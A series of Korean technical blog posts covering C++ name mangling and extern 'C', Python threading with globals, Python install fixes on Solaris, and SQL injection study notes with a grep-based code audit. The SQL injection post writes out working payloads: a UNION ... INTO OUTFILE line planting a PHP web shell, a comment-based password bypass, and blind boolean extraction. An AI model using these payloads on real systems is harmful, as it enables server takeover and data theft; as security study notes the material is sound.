int square(int a)  //컴파일러 단에서 함수와 인자값을 보고 suare_int(int a) 같이  rename 하게 된다.

{


return a*a;

}

double square(double d) // 컴파일러가 square_dobule(double) 과 같이 rename 한다.

{

return d*d;

}

int main()

{

int n= square(3); //square_int (3)

double d = square(3.1);

return 0;

}

=============================================================


cl 명령어로 cpp 파일을 어셈으로 표현해준다.


$cl 함수오버로딩.cpp /FAs



텍스트 파일로 열어보면 맹글리 된 부분을 확인 할 수 있다.

===================================================================

; 21   : int n= square(3); //square_int (3)


push 3

call ?square@@YAHH@Z ; square

add esp, 4

mov DWORD PTR _n$[ebp], eax


; 22   : double d = square(3.1);


sub esp, 8

fld QWORD PTR __real@4008cccccccccccd

fstp QWORD PTR [esp]

call ?square@@YANN@Z ; square

add esp, 8

fstp QWORD PTR _d$[ebp]

====================================================================





//square.c => 반드시 .c 파일로 만들것


int square(int a)

{

return a*a;

}

//square.h 만드드세요 

int square(int);



//함수 오버로딩2.cpp 파일로 들어옴


#include "square.h"

int main(){

square(3);

}

//위처럼 3개의 파일로 작업한 후 빌드 

====================================================================

에러가 출력된다. 

이유?!  : cpp 파일은 오버로딩을위해 함수를 맹글링한다.

하지만 .c 파일에서는 오버로딩이 지원하지 않기때문에 함수이름 그대로를 사용한다.

맹글링된 함수 주소를 참조 할 수 없다.


이를 해결하기 위해 .h 파일에 extern "C" 를 선언해주어 C처럼 컴파일 해달라고 요청하면 된다.


========================== squre.h =========================================

extern "C" int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)


==============================================================================


=> 잘 컴파일됨 



이후 cpp 파일의 확장자를 .c 로 하면 string 오류가 뜬다. h 안에 extern "C" 를 못인식 하는 것이다.

이럴때는 조건부 컴파일을 해 줘야한다.


========================== square.h =========================================

#ifdef __cplusplus

extern "C"{

#endif

int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)

#ifdef __cplusplus

}

#endif


//결론 c/C++ 모두에서 사용 가능한 라이브러리를 구축하려면

//1.라이브러리 자체는 .c 로해서 name manling 을 막고

//2. 헤더는 위처럼 조건부 컴파일을 해서 c/c++ 모두를 지원해야 한다. 

==============================================================================









Posted by k1rha
2012. 8. 12. 22:15

SQL injection 공격 과 방어의 원리 책들중...


UNION 구문과 INTO OUTFILE 을 이용하여 웹쉘 만들기


 1 UNION SELECT "<?system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/cmd.php" --



취약점 테스트로 좋은 구문


php?category=bikes
-> php?category=bi''kes

->php?category=bi'+'kes



패스워드 주석처리해 버리기(세미콜론이 먹힐때 )


select *from table where username='admin '/*'and passworkd='*/''; 



AND 나 OR 절 안쓰고 블라인드 하기 


where id =12/ (case+when+(ascii(substring(select+system_user),1,1))+>+64)+then+1+else+0+end)  //OK or error 


Posted by k1rha
2012. 8. 12. 22:09

sql injection awk 를 이용하여 빠르게 점검하기.


SQL injection 공격과 방어의 원리 책을 훑어 보다가 괜찮은 정검 방법


awk 이용하여 mysql_query 부분만 추출하여 세미콜론 확인하기.

 grep -r -n "mysql_query\(.*\)" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > VLRN.txt



혹은 where 절만 보고싶을때 where 절만 추가


   grep -r -n "mysql_query\(.*\where.*\)" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > VLRN.txt


이렇게하면 쿼리 구문중에 where 절이 들어간 것들은 전부다 나온다. 그중에 세미콜론처리가 잘 안된것 의주로 점검하면됨.





Posted by k1rha
2012. 8. 9. 01:30

thread를 이용할 경우 혹은 간혹 전역변수가 필요할 때가 있다.

python은 일반적으로 모든 변수들을 지역변수로 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
 
import sys
import threading
 
global_value = 0
local_value = 0
 
def function(number, local_value) :
    global global_value
 
    global_value += 10
    local_value += 10
 
    sys.stdout.write("[Thread #%d] global_value: %d\n"
            % (number, global_value))
    sys.stdout.write("[Thread #%d] local_value: %d\n"
            % (number, local_value))
 
def main(thread_count) :
    threads = []
    for i in range(thread_count) :
        print "Create Thread #%d" % i
        threads.append(threading.Thread(target=function,
            args=(i,local_value)))
 
    for i in range(thread_count) :
        print "Start Thread #%d" % i
        threads[i].start()
 
    for i in range(thread_count) :
        threads[i].join()
        print "End Thread #%d" % i
 
if __name__ == "__main__" :
    main(5)
전역변수와 지역변수를 사용한 예제다.
사용하려는 곳에서 global을 이용하여 해당 변수가 전역변수라는 것을 알린다.

10번째 줄을 주석처리해보면 할당되지 않은 영역을 참조했다는 에러 메시지를 확인할 수 있다.

Posted by k1rha
2012. 8. 8. 21:58

http://ha.ckers.org/xss.html



http://www.youtube.com/watch?v=vgrxDZVApdI

Posted by k1rha
2012. 8. 6. 02:53

python 을 패키지 설치후 실행을하면 아래와 같은 에러를 뱉어 냈다.


Fatal Python error: Py_Initialize: can't initialize sys standard streams

LookupError: unknown encoding: 5601


젠장.. 이 오류로 거의 20시간 이상 서핑만 했다. 인코딩 문제인데, 이걸 해결하는데 정말 많은 시간을 버린것같다.

게다가 솔라리스 환경인지라 에러 코드가 정확히 맡는 사람이 하나도 없었고, 윈도우 환경에서 비슷한 에러를 출력한 사람을 찾게 되었다. 해결방법은 아래와 같다.


http://bugs.python.org/file14014/alias_cp65001.diff  <--참조


필자의 경우

[********:/usr/local/lib/python3.1/encodings]# pwd

/usr/local/lib/python3.1/encodings


위의 경로에서 필요한 언어셋 아래에 에러가된 인코딩 방식을 지정해줌으로써 해결되었다.


미친듯이 고생한 에러의 결과가 위와 같이 해결되었다.



Posted by k1rha
2012. 8. 4. 17:54

기다 여다른 LINUX 시스템에서는 바이썬 공식홈페이지에서 제공해주는 소스코드를 가지고 

./configure ./make ./make install 순서로 차근차근 진행해주면 별다른 어려움 없이 설치가 가능하다.


하지만 유닉스인 솔라리스인경우는 유독 make 에러를 많이 뱉어 낸다.


signalModule.o 가 컴파일 에러를 띄우는 오류부터 시작하여 (이는 컴파일 ANSI 설정문제로 gcc 옵션에 -E -traditional 을 추가함으로해결되긴한다 ) 다른 오류들이 많이 격게된다.



한참을 찾던중 솔라리스는 패키지 파일로 설치할수 있다는 것을 찾았다.


http://www.sunfreeware.com/


위 공식사이트에서 spac 인지 x86인지 잘 구분하여 python 패키지 파일을 다운받은뒤


pkgadd -d [python] 으로 설치해준다.



가끔씩 패키지 설치 오류로 더이상 설치할수 없다는 답이 있는데

이러한 문제는 아래와 같은 글로 해결되었다.

====================================================================

Hi Alex, 

That means that you have that package (from same vendor) already installed. 
Check with 
pkginfo | grep zlib 
or 
find /var/sadm/pkg -type f -name pkginfo | grep zlib 

I think that you can ignore it, since that package (from some reasons) 
have set 'MAXINST="1"'

==============================================================

Posted by k1rha